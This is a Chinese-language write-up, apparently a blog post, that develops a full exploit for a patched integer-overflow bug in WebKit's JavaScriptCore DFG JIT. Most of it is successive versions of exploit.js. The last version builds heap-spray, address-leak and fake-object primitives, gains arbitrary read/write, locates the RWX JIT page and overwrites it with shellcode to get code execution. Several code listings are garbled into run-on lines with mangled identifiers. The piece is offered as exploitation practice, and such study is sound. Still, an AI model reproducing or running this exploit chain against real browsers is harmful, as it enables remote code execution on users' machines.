
利用 JavaScriptCore 中已修补的漏洞
这是一个针对 WebKit 漏洞的利用代码,该漏洞最初由 Fluoroacetate 在温哥华的 pwn2own 比赛中发现。虽然这个漏洞不是我发现的,但我编写这个利用代码是为了练习我的漏洞利用开发技能。该漏洞的原始分析文章 在此,来自 Zero Day Initiative。虽然这篇分析文章写得很好,并且对我理解漏洞非常有帮助,但它是从验证漏洞的角度出发的。我发现,在从头开始编写利用代码时,一些关键细节是缺失的,我希望填补 ZDI 分析文章中遗漏的一些空白,并获得如何从头设计一个复杂利用代码的实用技能。
以下步骤概述了在 JavaScriptCore (JSC)(WebKit 的 JavaScript 引擎)中实现任意代码执行的过程。
将被利用的漏洞是一个整数溢出,发生在 WebKit 的 DFG 即时 (JIT) 编译器生成的代码中。具体发生在 compileNewArrayWithSpread 函数中。当使用 JavaScript 展开语法 创建新数组的代码被 DFG 进行 JIT 编译时,将调用此函数。

在 JIT 编译后的代码中,首先会计算数组的大小。它通过将传递给数组构造函数的每个参数的长度相加来实现这一点。在计算每个相加结果的大小时,它会检查大小是否溢出。之后,它会调用 compileAllocateNewArray 函数,并将在此函数中计算出的长度传递给它。

然后 compileAllocateNewArray 会将之前计算出的长度传递给 emitAllocateButterfly。

emitAllocateButterfly 随后会将大小左移 3 位,相当于乘以 8。然而,这里没有对溢出进行检查,因此像 0x20000001 这样的数字可能会溢出为 0x8。
以下 C 程序演示了此漏洞:


我们可以利用此漏洞欺骗 JavaScript 引擎,使其认为我们分配了一个大小为 0x20000001 的数组,但实际上只分配了容纳 1 个 JSValue(8 字节)的空间。这将导致越界 (OOB) 读写原语,进而可用于实现任意读写,并最终实现远程代码执行 (RCE)。
识别漏洞
为了确认我们拥有 OOB 读取能力,我们将尝试在此前编译 WebKit 时开启了地址消毒器 (ASAN) 的版本上触发此漏洞。
为此,在 WebKit 目录下我们可以运行以下命令:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug
这将构建一个启用了ASAN的JSC调试版本,使我们能够验证是否成功触发了该漏洞。
以下是exploit.js的第一个迭代版本。```javascript
function jitMe(array){
return [...array]
}
let dummy = [1.1]
for(let i = 0; i < 200; i++){
jitMe(dummy);
}
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
运行此命令时出现以下错误:
Program terminated with signal SIGKILL, Killed. The program no longer exists.
我猜测是在尝试分配如此大的数组时消耗了过多内存。为了确认这一点,我在 JITed 代码中添加了一个断点,方法是在 compileNewArrayWithSpread 中调用 m_jit.breakpoint(),该调用会向 JITed 代码添加一条 int3 指令。
添加断点后,我发现它没有被触发,于是决定测试长度为 0x20001。随后我意识到代码甚至没有被编译,所以我增加了更多迭代次数来激活 DFG 编译器。```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }
let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){ a[i] = 1.1 }
jitMe(a)
Testing the program as is still leads to the SIGKILL however, when testing with a smaller length, the breakpoint gets hit. At this point it still seems to me that JSC is running out of memory when trying to process that huge array.
In order to deal with this, I decided to allocate a smaller `a` array and then use the spread syntax to use it multiple times when creating the corrupted array resulting in the following exploit.js```
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1]
for(let i = 0; i < 100; i++){
print(i)
jitMe(dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
使用这段代码,我们成功命中了断点,没有触发 SIGKILL!但像往常一样,修复一个问题又引出了另一个问题,我们收到了 SIGABORT……通过 gdb 的 bt 命令,我们可以看到调用了 operationNewArrayWithSize,进而调用了 create。
我们的 JIT 代码会调用 operationNewArrayWithSize 似乎很奇怪,这一定是 JIT 代码由于某种原因不得不走慢路径到 JavaScript 引擎。

在 compileAllocateNewArrayWithSize 中,我们可以看到确实有退出到 operationNewArrayWithSize 的情况。然后我们需要找出到底是什么原因导致我们退出到慢路径。
在 compileNewArrayWithSpread 中,我们看到 shouldConvertLargeSizeToArrayStorage 被设置为 false,并且该慢路径不会出现在编译后的代码中。
因此,慢路径是在 emitAllocateJSObject 中的某个位置被命中的,这很合理。

emitAllocateJSObject 调用了 emitAllocateJSCell,而 emitAllocateJSCell 又调用了 emitAllocate。


由于对 WebKit 分配器的工作原理一无所知,这看起来相当令人困惑。因此,我决定添加几个断点,并在 gdb 中逐步执行。
在命中了 emitAllocateVariableSized(由 emitAllocateButterfly 调用)中设置的断点后,我们看到以下汇编代码:
这对应 JIT 编译器在此处发出的代码:
我们可以看到,分配大小先加上 0xf,然后右移 4 位。然后将其与 0x1f6 进行比较,对应慢路径分支。之后,它将子空间分配器移动到 rsi,并根据执行的计算,以该指针为索引进行索引。然后我们继续到放置在 emitAllocateWithNonNullAllocator 中的断点,找到以下汇编代码:

这对应 JIT 编译器在此处发出的代码:
现在我们已经逐步执行了一些汇编代码,对正在发生的事情有了更多了解。再执行两条指令后,我们看到将会执行跳转:

查看 C++ 代码,我们可以推断这意味着该分配器的空闲列表中没有剩余空间,因此它将走 pop 路径。

执行跳转并执行接下来的两条指令,我们看到跳转直接对应着走慢路径。之所以走慢路径,是因为分配器的秘密值与分配器的混乱头部进行了异或,结果为零。在不了解更多关于 WebKit 分配器知识的情况下,很难确切弄清楚发生了什么。
虽然我很想花更多时间学习 WebKit 分配器,但我想一个更简单的方法是尝试几个想法,看看它们是否会带来不同的结果,然后在此基础上进行调试。
我的一个想法是分配一个大小为 0x10 的数组,因为它将与触发漏洞的数组处于相同的分配步长中,然后调用 jitMe,并传入一个大小为 1 的数组。由于我们知道分配器的地址,我们可以设置一个监视点,监视那些导致分支的值,观察它们何时发生变化。我之所以有这个想法,是因为我认为分配一个处于相同步长中的对象可能会使分配器进入一个不同且更有趣的状态。这引出了 exploit.js 的下一个迭代。```javascript
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1] for(let i = 0; i < 80; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){ a[i] = 1.1 }
let x = new Array(0x10) let b = [1.1]
jitMe(b)
jitMe(a)
Testing this idea worked!
我们可以看到,当在小数组上测试 `jitMe` 时,我们没有走慢路径!然后我们在 r8 + 0x18 处设置了一个观察点,以查看该值何时变为零。 当我们命中观察点后,得到以下回溯:

根据回溯中函数名称,似乎正在执行垃圾回收,将 `secret` 和 `scrambledHead` 的值设置为 0。
根据调用栈,我们知道 `createFromArray` 中对 `tryCreate` 的调用触发了垃圾回收。

在 `createFromArray` 内部,它还会循环访问每个元素,如果我们能拦截对 get 的调用并重新初始化分配器,就可以阻止它走慢路径。
exploit.js:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
let dummy = [1.1]
for(let i = 0; i < 80; i++){
jitMe(dummy, dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
let b = [];
b.length = 1;
b.__defineGetter__(0, () => {
let x = new Array(0x10)
})
jitMe(a, b)
给我们一个ASAN错误!!asan
既然我们可以可靠地触发漏洞,我们希望利用OOB读写原语进一步破坏内存,并获取类型混淆原语。第一步是重新编译禁用ASAN的JSC。完成此操作后,我们重新运行exploit.js并得到以下崩溃

我们可以看到,当我们使用Python struct模块将浮点值1.1转换为字节时,我们将其破坏为指向0x3ff299999999999a,我们得到的正是我们预期的结果:0x3ff299999999999a 
既然我们已经成功实现了内存破坏,我们需要进行一些堆操作,将其转变为类型混淆。思路是喷射大量ArrayWithDoubles和ArrayWithContiguous,并破坏butterfly的长度,从而实现对这些数组的越界访问,并获得类型混淆。希望分配足够多的数组能防止越界破坏任何重要的值。```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b)
在喷洒这些数组后,它们将被`badArray`中的数据覆盖。这将防止我们在越界写入后发生段错误。为了获得一个可被破坏的数组,我们可以再分配三个数组:一个`ArrayWithDouble`,接着一个`ArrayWithContiguous`,再接着一个`ArrayWithDouble`。一旦我们破坏了数组,就可以将一个对象写入`ArrayWithContiguous`,并从`ArrayWithDouble`中读取它,从而产生类型混淆并读取一个地址。此外,我们可以将一个地址写入第二个`ArrayWithDouble`,并从`ArrayWithContiguous`中读取它,从而在指定地址获得一个伪造对象。
实现这一点,我们得到:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
现在我们已经有了一个伪造对象和一个地址泄露原语,下一步目标是实现任意读写原语。我们的总体策略是创建一个伪造对象,将其butterfly指向一个ArrayWithDouble的butterfly,然后向这个butterfly写入我们想要读取或写入的地址。这种技术在原始漏洞利用中被使用,saelo在这篇文章中也提到过。
然而,在实现之前,我遇到了一个意外的错误。我发现,在向漏洞利用代码中添加了一定量的代码后,触发漏洞不再有效,并且会进入慢路径,导致内存不足异常。
为了解决这个问题,我发现可以将要运行的代码视为字符串,然后调用JavaScript的eval函数。无论出于什么原因,这都能绕过这个问题。
为了设置我们的伪造对象,它需要有一个有效的结构ID。为此,我们喷射大量结构ID,并将我们自己的结构ID设置为一个可预测的值。
为了覆盖ArrayWithDouble的butterfly,我们需要能够索引到目标butterfly。为此,我们不断分配数组,直到地址大于已喷射结构ID数组的中间元素的地址。然后,我们将伪造对象的butterfly设置为这个中间元素,并通过索引伪造对象的butterfly来设置目标butterfly。```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ") let dummy = [1.1] for(let i = 0; i < 85; i++){ jitMe(dummy, dummy); }
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow") for(let i = 0; i < len; i++){ a[i] = -3.7206620809969885e-103; }
let b = []; b.length = 1;
let sprayedArrays = [] let arrayWithDouble = [] let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path") // this array can only contain doubles for(let i = 0; i < 0x10; i++){ arrayWithDouble[i] = 2.0286158381253047e-252 }
// this array can contain doubles and objects for(let i = 0; i < 0x10; i++){ arrayWithContiguous[i] = {} }
b.defineGetter(0, () => { for(let i = 0; i < 0x8000; i++){ // we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory if(i % 2 == 0){ // We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator sprayedArrays[i] = arrayWithDouble.slice(); }else{ sprayedArrays[i] = arrayWithContiguous.slice(); } } }) print("[+] Triggering the overflow") let badArray = jitMe(a, b) // read address from this array sprayedArrays[0] = arrayWithDouble.slice(); // insert address to read into this array and get fake objects from this array sprayedArrays[1] = arrayWithContiguous.slice(); // insert address of fake objects into this array sprayedArrays[2] = arrayWithDouble.slice();
//eval this code indirectly to prevent weird slow path crash let postTrigger = ` // helper arrays to do float and integer conversions var backingBuffer = new ArrayBuffer(8) var f = new Float64Array(backingBuffer) var i = new Uint32Array(backingBuffer)
function i2f(num) { i[0] = num % 0x100000000 i[1] = num / 0x100000000 return f[0] }
function f2i(num) { f[0] = num return (i[1] * 0x100000000) + i[0] }
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21 let LEAK_ARRAY_INDEX = 0 let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH; badArray[39] = NEW_LENGTH;
function leakAddr(obj) { sprayedArrays[1][0] = obj; let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1]; return f2i(floatAddr); }
function fakeObj(addr) { let floatAddr = i2f(addr) sprayedArrays[2][0] = floatAddr return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1] } / print("[+] Spraying structure IDs") // now predict structure id var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){ let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700} struct['addNewStructureId'+x] = 0x1337 sprayedStructureIDs[x] = struct; }
print("[+] Setting up the fake object") // set up the fake object // subtrace 0x1000000000000 to account for JS boxing var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array // we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly var baseAddr = leakAddr(sprayedStructureIDs[0x80]) print("[+] Base address @ 0x" + baseAddr.toString(16)) var target = [] var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){ target = [] targetAddr = leakAddr(target) }
// make sure target is ArrayWithDouble target[1] = 1.1
print("[+] Got a array with controllable butterfly") let fakeAddr = leakAddr(fakeHost) + 0x10 let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1; let targetButterflyPointer = f2i(hax[targetButterflyIndex]) print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16)) print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) { hax[targetButterflyIndex] = i2f(address) }
print("[+] Got R/W primitive") `
eval(postTrigger)
- [x] 破坏数组butterfly以实现读写原语
### 在渲染进程内实现任意代码执行
现在我们有了读写原语,我们需要做的就是用自定义shellcode覆盖JIT页面。我们覆盖JIT页面因为这可能是进程中唯一映射为RWX的内存区域。虽然我们可以改用ROP链和栈迁移来将内存区域映射为RWX并执行shellcode,但这种方法更简单。
为了覆盖JIT页面,我们首先需要一个JIT编译的函数。我选择使用我们触发漏洞时使用的`jitMe`函数。然后我使用gdb跟踪此对象中的指针直到到达存放JIT编译代码的内存。需要注意的是,这些指针偏移量非常特定于这个WebKit版本,未来很可能会改变。在编写旨在跨多个WebKit版本工作的漏洞利用时不应依赖此方法。
找到JIT页面的指针后,我们需要写入弹出计算器的shellcode。此shellcode如下图所示:

然后我们需要汇编shellcode,提取字节,并将其转换为浮点数,以便使用我们的读写原语写入。
这样就得到了最终的exploit.js:```
function jitMe(array, reInitAllocator){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...reInitAllocator]
}
print("[+] JIT compiling the vulnerable function ")
let dummy = [1.1]
for(let i = 0; i < 85; i++){
jitMe(dummy, dummy);
}
dummy = 0
let a = []
let len = 0x20000010 / 0x10
print("[+] Making array to trigger the overflow")
for(let i = 0; i < len; i++){
a[i] = -3.7206620809969885e-103;
}
let b = [];
b.length = 1;
let sprayedArrays = []
let arrayWithDouble = []
let arrayWithContiguous = []
print("[+] Making arrays to prevent slow path")
// this array can only contain doubles
for(let i = 0; i < 0x10; i++){
arrayWithDouble[i] = 2.0286158381253047e-252
}
// this array can contain doubles and objects
for(let i = 0; i < 0x10; i++){
arrayWithContiguous[i] = {}
}
b.__defineGetter__(0, () => {
for(let i = 0; i < 0x8000; i++){
// we alternate arrays so that when we read out of bounds we can place the desired object directly after it in memory
if(i % 2 == 0){
// We use slice to make a copy this replaces new Array(0x10) and will reinitalize the allocator
sprayedArrays[i] = arrayWithDouble.slice();
}else{
sprayedArrays[i] = arrayWithContiguous.slice();
}
}
})
print("[+] Triggering the overflow")
let badArray = jitMe(a, b)
// read address from this array
sprayedArrays[0] = arrayWithDouble.slice();
// insert address to read into this array and get fake objects from this array
sprayedArrays[1] = arrayWithContiguous.slice();
// insert address of fake objects into this array
sprayedArrays[2] = arrayWithDouble.slice();
// helper arrays to do float and integer conversions
let postTrigger = `
var backingBuffer = new ArrayBuffer(8)
var f = new Float64Array(backingBuffer)
var i = new Uint32Array(backingBuffer)
function i2f(num) {
i[0] = num % 0x100000000
i[1] = num / 0x100000000
return f[0]
}
function f2i(num) {
f[0] = num
return (i[1] * 0x100000000) + i[0]
}
print("[+] Getting leakAddr and fakeObj primitives")
let NEW_LENGTH = 21
let LEAK_ARRAY_INDEX = 0
let FAKE_ARRAY_INDEX = 1
badArray[19] = NEW_LENGTH;
badArray[39] = NEW_LENGTH;
function leakAddr(obj) {
sprayedArrays[1][0] = obj;
let floatAddr = sprayedArrays[LEAK_ARRAY_INDEX][NEW_LENGTH - 1];
return f2i(floatAddr);
}
function fakeObj(addr) {
let floatAddr = i2f(addr)
sprayedArrays[2][0] = floatAddr
return sprayedArrays[FAKE_ARRAY_INDEX][NEW_LENGTH - 1]
}
print("[+] Spraying structure IDs")
// now predict structure id
var sprayedStructureIDs = []
for(let x = 0; x < 0x400; x++){
let struct = {a:0x100, b:0x200, c:0x300, d:0x400, e:0x500, f:0x600, g:0x700}
struct['addNewStructureId'+x] = 0x1337
sprayedStructureIDs[x] = struct;
}
print("[+] Setting up the fake object")
// set up the fake object
// subtrace 0x1000000000000 to account for JS boxing
var fakeHost = {a:i2f(0x0108200700000100 - 0x1000000000000), b:sprayedStructureIDs[0x80]};
// when we create a fake object the structure ID will be fakeStructureID and the butterfly will point to an object allocated in our sprayed array
// we then want to allocate an array at a memory address greater than the butterfly and we use this object to overwrite the target butterfly
var baseAddr = leakAddr(sprayedStructureIDs[0x80])
print("[+] Base address @ 0x" + baseAddr.toString(16))
var target = []
var targetAddr = leakAddr(target)
while(targetAddr < baseAddr){
target = []
targetAddr = leakAddr(target)
}
target[1] = 1.1
print("[+] Got a array with controllable butterfly")
let fakeAddr = leakAddr(fakeHost) + 0x10
let hax = fakeObj(fakeAddr)
let targetButterflyIndex = ((targetAddr - baseAddr) / 8) + 1;
let targetButterflyPointer = f2i(hax[targetButterflyIndex])
print("[+] target butterfly == 0x" + targetButterflyPointer.toString(16))
print("[+] target address @ 0x" + targetAddr.toString(16))
function setTargetButterfly(address) {
hax[targetButterflyIndex] = i2f(address)
}
print("[+] Got R/W primitive")
var myJitAddr = leakAddr(jitMe)
setTargetButterfly(myJitAddr+24)
var ptr1 = f2i(target[0])
setTargetButterfly(ptr1+8)
var ptr2 = f2i(target[2])
setTargetButterfly(ptr2-8)
target[0]=1.1
setTargetButterfly(ptr2+16)
var rwx = f2i(target[0])
print("[+] RWX address @ 0x" + rwx.toString(16))
setTargetButterfly(rwx)
target[0] = 7.724899899490056e+228
target[1] = 1.3869658928112658e+219
target[2] = -1.4290575191402725e-37
target[3] = 1.0940812634921282e+189
target[4] = 2.0546950522151997e-81
target[5] = -1.416537102831749e-34
target[6] = 1.1467072576990874e+23
target[7] = 3.39834180316358e+78
target[8] = 1.5324871326e-314
target[9] = 3.173603568941646e+40
target[10]= 1.9656830452398213e-236
target[11]= -6.828527034422582e-229
print("[+] Executing Shellcode...")
jitMe([13.37],[13.37])
`
eval(postTrigger)
最后,展示一下这个漏洞利用成功运行的视频!
这希望能展示如何利用一个JSC的n-day漏洞并开发出相应的利用程序。我得益于Zeroday Initiative的分析文章。虽然在编写利用程序时我参考了这篇文章,但我尽力只吸收主要思路,然后自己动手实现,没有直接照搬文章内容。
这个利用程序只是一个概念验证,并不像它可能达到的那样健壮。尽管我还没有遇到过失败的情况,但总是有改进的空间。由于我把这当作一次学习经历,所以没有费心去让它尽可能健壮。